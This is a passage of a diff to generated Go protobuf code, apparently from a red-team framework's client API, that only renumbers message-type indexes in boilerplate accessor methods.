protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[54] + mi := &file_clientpb_client_proto_msgTypes[57] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5297,7 +5543,7 @@ func (x *GetSystemReq) ProtoReflect() protoreflect.Message { // Deprecated: Use GetSystemReq.ProtoReflect.Descriptor instead. func (*GetSystemReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{54} + return file_clientpb_client_proto_rawDescGZIP(), []int{57} } func (x *GetSystemReq) GetHostingProcess() string { @@ -5338,7 +5584,7 @@ type MigrateReq struct { func (x *MigrateReq) Reset() { *x = MigrateReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[58] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5351,7 +5597,7 @@ func (x *MigrateReq) String() string { func (*MigrateReq) ProtoMessage() {} func (x *MigrateReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[55] + mi := &file_clientpb_client_proto_msgTypes[58] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5364,7 +5610,7 @@ func (x *MigrateReq) ProtoReflect() protoreflect.Message { // Deprecated: Use MigrateReq.ProtoReflect.Descriptor instead. func (*MigrateReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{55} + return file_clientpb_client_proto_rawDescGZIP(), []int{58} } func (x *MigrateReq) GetPid() uint32 { @@ -5407,7 +5653,7 @@ type CreateTunnelReq struct { func (x *CreateTunnelReq) Reset() { *x = CreateTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[59] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5420,7 +5666,7 @@ func (x *CreateTunnelReq) String() string { func (*CreateTunnelReq) ProtoMessage() {} func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[56] + mi := &file_clientpb_client_proto_msgTypes[59] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5433,7 +5679,7 @@ func (x *CreateTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnelReq.ProtoReflect.Descriptor instead. func (*CreateTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{56} + return file_clientpb_client_proto_rawDescGZIP(), []int{59} } func (x *CreateTunnelReq) GetRequest() *commonpb.Request { @@ -5455,7 +5701,7 @@ type CreateTunnel struct { func (x *CreateTunnel) Reset() { *x = CreateTunnel{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[60] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5468,7 +5714,7 @@ func (x *CreateTunnel) String() string { func (*CreateTunnel) ProtoMessage() {} func (x *CreateTunnel) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[57] + mi := &file_clientpb_client_proto_msgTypes[60] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5481,7 +5727,7 @@ func (x *CreateTunnel) ProtoReflect() protoreflect.Message { // Deprecated: Use CreateTunnel.ProtoReflect.Descriptor instead. func (*CreateTunnel) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{57} + return file_clientpb_client_proto_rawDescGZIP(), []int{60} } func (x *CreateTunnel) GetSessionID() uint32 { @@ -5510,7 +5756,7 @@ type CloseTunnelReq struct { func (x *CloseTunnelReq) Reset() { *x = CloseTunnelReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[61] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5523,7 +5769,7 @@ func (x *CloseTunnelReq) String() string { func (*CloseTunnelReq) ProtoMessage() {} func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[58] + mi := &file_clientpb_client_proto_msgTypes[61] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5536,7 +5782,7 @@ func (x *CloseTunnelReq) ProtoReflect() protoreflect.Message { // Deprecated: Use CloseTunnelReq.ProtoReflect.Descriptor instead. func (*CloseTunnelReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{58} + return file_clientpb_client_proto_rawDescGZIP(), []int{61} } func (x *CloseTunnelReq) GetTunnelID() uint64 { @@ -5568,7 +5814,7 @@ type PivotGraphEntry struct { func (x *PivotGraphEntry) Reset() { *x = PivotGraphEntry{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[62] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5581,7 +5827,7 @@ func (x *PivotGraphEntry) String() string { func (*PivotGraphEntry) ProtoMessage() {} func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[59] + mi := &file_clientpb_client_proto_msgTypes[62] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5594,7 +5840,7 @@ func (x *PivotGraphEntry) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraphEntry.ProtoReflect.Descriptor instead. func (*PivotGraphEntry) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{59} + return file_clientpb_client_proto_rawDescGZIP(), []int{62} } func (x *PivotGraphEntry) GetPeerID() int64 { @@ -5636,7 +5882,7 @@ type PivotGraph struct { func (x *PivotGraph) Reset() { *x = PivotGraph{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[63] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5649,7 +5895,7 @@ func (x *PivotGraph) String() string { func (*PivotGraph) ProtoMessage() {} func (x *PivotGraph) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[60] + mi := &file_clientpb_client_proto_msgTypes[63] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5662,7 +5908,7 @@ func (x *PivotGraph) ProtoReflect() protoreflect.Message { // Deprecated: Use PivotGraph.ProtoReflect.Descriptor instead. func (*PivotGraph) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{60} + return file_clientpb_client_proto_rawDescGZIP(), []int{63} } func (x *PivotGraph) GetChildren() []*PivotGraphEntry { @@ -5686,7 +5932,7 @@ type Client struct { func (x *Client) Reset() { *x = Client{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[64] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5699,7 +5945,7 @@ func (x *Client) String() string { func (*Client) ProtoMessage() {} func (x *Client) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[61] + mi := &file_clientpb_client_proto_msgTypes[64] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5712,7 +5958,7 @@ func (x *Client) ProtoReflect() protoreflect.Message { // Deprecated: Use Client.ProtoReflect.Descriptor instead. func (*Client) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{61} + return file_clientpb_client_proto_rawDescGZIP(), []int{64} } func (x *Client) GetID() uint32 { @@ -5752,7 +5998,7 @@ type Event struct { func (x *Event) Reset() { *x = Event{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[65] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5765,7 +6011,7 @@ func (x *Event) String() string { func (*Event) ProtoMessage() {} func (x *Event) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[62] + mi := &file_clientpb_client_proto_msgTypes[65] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5778,7 +6024,7 @@ func (x *Event) ProtoReflect() protoreflect.Message { // Deprecated: Use Event.ProtoReflect.Descriptor instead. func (*Event) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{62} + return file_clientpb_client_proto_rawDescGZIP(), []int{65} } func (x *Event) GetEventType() string { @@ -5835,7 +6081,7 @@ type Operator struct { func (x *Operator) Reset() { *x = Operator{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[63] + mi := &file_clientpb_client_proto_msgTypes[66] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5848,7 +6094,7 @@ func (x *Operator) String() string { func (*Operator) ProtoMessage() {} func (x *Operator) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[63] + mi := &file_clientpb_client_proto_msgTypes[66] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5861,7 +6107,7 @@ func (x *Operator) ProtoReflect() protoreflect.Message { // Deprecated: Use Operator.ProtoReflect.Descriptor instead. func (*Operator) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{63} + return file_clientpb_client_proto_rawDescGZIP(), []int{66} } func (x *Operator) GetOnline() bool { @@ -5893,7 +6139,7 @@ type WebContent struct { func (x *WebContent) Reset() { *x = WebContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[67] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5906,7 +6152,7 @@ func (x *WebContent) String() string { func (*WebContent) ProtoMessage() {} func (x *WebContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[64] + mi := &file_clientpb_client_proto_msgTypes[67] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5919,7 +6165,7 @@ func (x *WebContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebContent.ProtoReflect.Descriptor instead. func (*WebContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{64} + return file_clientpb_client_proto_rawDescGZIP(), []int{67} } func (x *WebContent) GetPath() string { @@ -5962,7 +6208,7 @@ type WebsiteAddContent struct { func (x *WebsiteAddContent) Reset() { *x = WebsiteAddContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[65] + mi := &file_clientpb_client_proto_msgTypes[68] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -5975,7 +6221,7 @@ func (x *WebsiteAddContent) String() string { func (*WebsiteAddContent) ProtoMessage() {} func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[65] + mi := &file_clientpb_client_proto_msgTypes[68] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -5988,7 +6234,7 @@ func (x *WebsiteAddContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteAddContent.ProtoReflect.Descriptor instead. func (*WebsiteAddContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{65} + return file_clientpb_client_proto_rawDescGZIP(), []int{68} } func (x *WebsiteAddContent) GetName() string { @@ -6017,7 +6263,7 @@ type WebsiteRemoveContent struct { func (x *WebsiteRemoveContent) Reset() { *x = WebsiteRemoveContent{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[69] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6030,7 +6276,7 @@ func (x *WebsiteRemoveContent) String() string { func (*WebsiteRemoveContent) ProtoMessage() {} func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[66] + mi := &file_clientpb_client_proto_msgTypes[69] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6043,7 +6289,7 @@ func (x *WebsiteRemoveContent) ProtoReflect() protoreflect.Message { // Deprecated: Use WebsiteRemoveContent.ProtoReflect.Descriptor instead. func (*WebsiteRemoveContent) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{66} + return file_clientpb_client_proto_rawDescGZIP(), []int{69} } func (x *WebsiteRemoveContent) GetName() string { @@ -6072,7 +6318,7 @@ type Website struct { func (x *Website) Reset() { *x = Website{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[70] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6085,7 +6331,7 @@ func (x *Website) String() string { func (*Website) ProtoMessage() {} func (x *Website) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[67] + mi := &file_clientpb_client_proto_msgTypes[70] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6098,7 +6344,7 @@ func (x *Website) ProtoReflect() protoreflect.Message { // Deprecated: Use Website.ProtoReflect.Descriptor instead. func (*Website) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{67} + return file_clientpb_client_proto_rawDescGZIP(), []int{70} } func (x *Website) GetName() string { @@ -6126,7 +6372,7 @@ type Websites struct { func (x *Websites) Reset() { *x = Websites{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[71] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6139,7 +6385,7 @@ func (x *Websites) String() string { func (*Websites) ProtoMessage() {} func (x *Websites) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[68] + mi := &file_clientpb_client_proto_msgTypes[71] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6152,7 +6398,7 @@ func (x *Websites) ProtoReflect() protoreflect.Message { // Deprecated: Use Websites.ProtoReflect.Descriptor instead. func (*Websites) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{68} + return file_clientpb_client_proto_rawDescGZIP(), []int{71} } func (x *Websites) GetWebsites() []*Website { @@ -6176,7 +6422,7 @@ type WGClientConfig struct { func (x *WGClientConfig) Reset() { *x = WGClientConfig{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[72] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6189,7 +6435,7 @@ func (x *WGClientConfig) String() string { func (*WGClientConfig) ProtoMessage() {} func (x *WGClientConfig) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[69] + mi := &file_clientpb_client_proto_msgTypes[72] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6202,7 +6448,7 @@ func (x *WGClientConfig) ProtoReflect() protoreflect.Message { // Deprecated: Use WGClientConfig.ProtoReflect.Descriptor instead. func (*WGClientConfig) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{69} + return file_clientpb_client_proto_rawDescGZIP(), []int{72} } func (x *WGClientConfig) GetServerPubKey() string { @@ -6249,7 +6495,7 @@ type Loot struct { func (x *Loot) Reset() { *x = Loot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[73] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6262,7 +6508,7 @@ func (x *Loot) String() string { func (*Loot) ProtoMessage() {} func (x *Loot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[70] + mi := &file_clientpb_client_proto_msgTypes[73] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6275,7 +6521,7 @@ func (x *Loot) ProtoReflect() protoreflect.Message { // Deprecated: Use Loot.ProtoReflect.Descriptor instead. func (*Loot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{70} + return file_clientpb_client_proto_rawDescGZIP(), []int{73} } func (x *Loot) GetID() string { @@ -6331,7 +6577,7 @@ type AllLoot struct { func (x *AllLoot) Reset() { *x = AllLoot{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[74] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6344,7 +6590,7 @@ func (x *AllLoot) String() string { func (*AllLoot) ProtoMessage() {} func (x *AllLoot) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[71] + mi := &file_clientpb_client_proto_msgTypes[74] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6357,7 +6603,7 @@ func (x *AllLoot) ProtoReflect() protoreflect.Message { // Deprecated: Use AllLoot.ProtoReflect.Descriptor instead. func (*AllLoot) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{71} + return file_clientpb_client_proto_rawDescGZIP(), []int{74} } func (x *AllLoot) GetLoot() []*Loot { @@ -6381,7 +6627,7 @@ type IOC struct { func (x *IOC) Reset() { *x = IOC{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[75] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6394,7 +6640,7 @@ func (x *IOC) String() string { func (*IOC) ProtoMessage() {} func (x *IOC) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[72] + mi := &file_clientpb_client_proto_msgTypes[75] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6407,7 +6653,7 @@ func (x *IOC) ProtoReflect() protoreflect.Message { // Deprecated: Use IOC.ProtoReflect.Descriptor instead. func (*IOC) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{72} + return file_clientpb_client_proto_rawDescGZIP(), []int{75} } func (x *IOC) GetPath() string { @@ -6442,7 +6688,7 @@ type ExtensionData struct { func (x *ExtensionData) Reset() { *x = ExtensionData{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[76] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6455,7 +6701,7 @@ func (x *ExtensionData) String() string { func (*ExtensionData) ProtoMessage() {} func (x *ExtensionData) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[73] + mi := &file_clientpb_client_proto_msgTypes[76] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6468,7 +6714,7 @@ func (x *ExtensionData) ProtoReflect() protoreflect.Message { // Deprecated: Use ExtensionData.ProtoReflect.Descriptor instead. func (*ExtensionData) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{73} + return file_clientpb_client_proto_rawDescGZIP(), []int{76} } func (x *ExtensionData) GetOutput() string { @@ -6495,7 +6741,7 @@ type Host struct { func (x *Host) Reset() { *x = Host{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[77] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6508,7 +6754,7 @@ func (x *Host) String() string { func (*Host) ProtoMessage() {} func (x *Host) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[74] + mi := &file_clientpb_client_proto_msgTypes[77] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6521,7 +6767,7 @@ func (x *Host) ProtoReflect() protoreflect.Message { // Deprecated: Use Host.ProtoReflect.Descriptor instead. func (*Host) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{74} + return file_clientpb_client_proto_rawDescGZIP(), []int{77} } func (x *Host) GetHostname() string { @@ -6584,7 +6830,7 @@ type AllHosts struct { func (x *AllHosts) Reset() { *x = AllHosts{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[78] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6597,7 +6843,7 @@ func (x *AllHosts) String() string { func (*AllHosts) ProtoMessage() {} func (x *AllHosts) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[75] + mi := &file_clientpb_client_proto_msgTypes[78] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6610,7 +6856,7 @@ func (x *AllHosts) ProtoReflect() protoreflect.Message { // Deprecated: Use AllHosts.ProtoReflect.Descriptor instead. func (*AllHosts) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{75} + return file_clientpb_client_proto_rawDescGZIP(), []int{78} } func (x *AllHosts) GetHosts() []*Host { @@ -6637,7 +6883,7 @@ type DllHijackReq struct { func (x *DllHijackReq) Reset() { *x = DllHijackReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[79] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6650,7 +6896,7 @@ func (x *DllHijackReq) String() string { func (*DllHijackReq) ProtoMessage() {} func (x *DllHijackReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[76] + mi := &file_clientpb_client_proto_msgTypes[79] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6663,7 +6909,7 @@ func (x *DllHijackReq) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijackReq.ProtoReflect.Descriptor instead. func (*DllHijackReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{76} + return file_clientpb_client_proto_rawDescGZIP(), []int{79} } func (x *DllHijackReq) GetReferenceDLLPath() string { @@ -6719,7 +6965,7 @@ type DllHijack struct { func (x *DllHijack) Reset() { *x = DllHijack{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[80] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6732,7 +6978,7 @@ func (x *DllHijack) String() string { func (*DllHijack) ProtoMessage() {} func (x *DllHijack) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[77] + mi := &file_clientpb_client_proto_msgTypes[80] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6745,7 +6991,7 @@ func (x *DllHijack) ProtoReflect() protoreflect.Message { // Deprecated: Use DllHijack.ProtoReflect.Descriptor instead. func (*DllHijack) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{77} + return file_clientpb_client_proto_rawDescGZIP(), []int{80} } func (x *DllHijack) GetResponse() *commonpb.Response { @@ -6768,7 +7014,7 @@ type BackdoorReq struct { func (x *BackdoorReq) Reset() { *x = BackdoorReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[81] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6781,7 +7027,7 @@ func (x *BackdoorReq) String() string { func (*BackdoorReq) ProtoMessage() {} func (x *BackdoorReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[78] + mi := &file_clientpb_client_proto_msgTypes[81] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6794,7 +7040,7 @@ func (x *BackdoorReq) ProtoReflect() protoreflect.Message { // Deprecated: Use BackdoorReq.ProtoReflect.Descriptor instead. func (*BackdoorReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{78} + return file_clientpb_client_proto_rawDescGZIP(), []int{81} } func (x *BackdoorReq) GetFilePath() string { @@ -6829,7 +7075,7 @@ type Backdoor struct { func (x *Backdoor) Reset() { *x = Backdoor{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[82] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6842,7 +7088,7 @@ func (x *Backdoor) String() string { func (*Backdoor) ProtoMessage() {} func (x *Backdoor) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[79] + mi := &file_clientpb_client_proto_msgTypes[82] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6855,7 +7101,7 @@ func (x *Backdoor) ProtoReflect() protoreflect.Message { // Deprecated: Use Backdoor.ProtoReflect.Descriptor instead. func (*Backdoor) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{79} + return file_clientpb_client_proto_rawDescGZIP(), []int{82} } func (x *Backdoor) GetResponse() *commonpb.Response { @@ -6881,7 +7127,7 @@ type ShellcodeEncodeReq struct { func (x *ShellcodeEncodeReq) Reset() { *x = ShellcodeEncodeReq{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[83] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) ms.StoreMessageInfo(mi) } @@ -6894,7 +7140,7 @@ func (x *ShellcodeEncodeReq) String() string { func (*ShellcodeEncodeReq) ProtoMessage() {} func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { - mi := &file_clientpb_client_proto_msgTypes[80] + mi := &file_clientpb_client_proto_msgTypes[83] if protoimpl.UnsafeEnabled && x != nil { ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) if ms.LoadMessageInfo() == nil { @@ -6907,7 +7153,7 @@ func (x *ShellcodeEncodeReq) ProtoReflect() protoreflect.Message { // Deprecated: Use ShellcodeEncodeReq.ProtoReflect.Descriptor instead. func (*ShellcodeEncodeReq) Descriptor() ([]byte, []int) { - return file_clientpb_client_proto_rawDescGZIP(), []int{80} + return file_clientpb_client_proto_rawDescGZIP(), []int{83} } func (x *ShellcodeEncodeReq) GetEncoder() ShellcodeEncoder { @@ -6964,7 +7210,7 @@ type ShellcodeEncode struct { func (x *ShellcodeEncode) Reset() { *x = ShellcodeEncode{} if protoimpl.UnsafeEnabled { - mi := &file_clientpb_client_proto_msgTypes[81] + mi := &file_clientpb_client_proto_msgTypes[84] ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x)) 